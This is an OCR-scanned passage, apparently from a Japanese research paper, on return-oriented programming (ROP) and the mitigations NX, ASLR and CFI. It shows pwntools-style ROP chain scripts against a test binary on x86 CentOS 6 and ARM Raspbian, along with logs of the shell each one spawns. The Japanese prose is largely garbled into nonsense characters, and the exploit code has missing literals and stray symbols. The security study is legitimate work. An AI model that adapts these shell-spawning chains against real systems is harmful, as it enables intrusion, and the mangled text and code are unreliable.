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2.2 No eXecutable bit (NX bit)
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2.3 Return Oriented Programming (ROP)X
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3.1 Address Space Layout Randomization (ASLR)

ASLR[8]1 &1, 02/ T AOBEBERC, FurJ L
D3 — N7 — 2 SO E %2 7 o2 AL, Fr
FEDT RLA~DT 722N+ 58X 5 ¢
HECTHD, 22k, ROPWEIZ XL D5 OFIAH
DB 2D, 7272 L, ROP WEOIRAEHINTTH 5 Just
-In-Time ROP(JIT-ROP)[9]DHE, 7 KL ZAD Y — 7 i
ARIZ D b d D, Fio, T RLURIED 32bit LLF
DOBREETIZ, = hoE—RNREL, Y720 IEIC K
57 FLRY =7 HAREL 70D, ZD7d, 7 RLRIR
DN S WVFHLA BB ZR~D ASLR I RATIE 20,

3.2 Control-Flow Integrity (CFI)
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FEWEHEIRLZLL DY V=R 2 HELT v X

U7 1 BT IEL L T D,
pi@raspberrypi:~/ROP_test$ ./checkname
This program is for Raspi

Input name: yuuma

NG

pi@raspberrypi:~/ROP_test$ ./checkname
This program is for Raspi

Input name: Mike
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def attack(conn, **kwargs):
payload = b * ( + )

payload += pop_dcb_addr
payload += bss_addr
payload += b

payload += p32(0)

payload += mov_edx_ecx_addr
payload += pop_dcb_addr

payload += bss_addr_ubyte_offset
payload += b

payload += p32(%)

payload += mov_edx_ecx_addr
payload += pop_ebp_addr
payload += p32(11)

payload += pop_dcb_addr
payload += p32(0)

payload += p32(0)

payload += bss_addr

payload += int80_addr 1
conn.sendafter(b , payload)

K5 ROP Chain #5452/ X a A ha—N
(686 - CentOS6)

[*] Switching to interactive mode

[DEBUG] Sent 0x1 bytes:
10 * Ox1

[ ] Received 0x3 bytes:
b'NG\n'

NG

cat /etc/redhat-release

[ ] Sent 0x18 bytes:
b'cat /etc/redhat-release\n'

[DEBUG] Received 0x21 bytes:
b'Cent0S Linux release 6.0 (Final)\n'

Cent0S Linux release 6.0 (Final)

K6 =7 AFuA ka— FiZk?b ROP KEEITHI(686 *
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def attack(conn, *xkwargs):
payload = b *x (
payload += pop_r@_addr
payload += binsh_addr

payload += b
payload += system_addr

conn.sendafter(b , payload)

K7 ROP Chain ##ZE T 5=/ A7 oA ha— R
(ARM Cortex-AS53 + RaspiOS)

[*] Switching to interactive mode

[ ] Sent 0x1 bytes:
bl\nl

[ ] Received 0x3 bytes:
b'NG\n'

NG

lsb_release -a

[ ] Sent Oxf bytes:
b'lsb_release -a\n'

[ ] Received 0xle bytes:

b'No LSB modules are available.\n'

No LSB modules are available.

[ ] Received 0x62 bytes:
b'Distributor ID:\tRaspbian\n'
b'Description:\tRaspbian GNU/Linux 10 (buster)\n'
b'Release:\t10\n'
b'Codename:\tbuster\n'

Distributor ID:
Description:

Release: 10
Codename: buster

Raspbian
Raspbian GNU/Linux 10 (buster)
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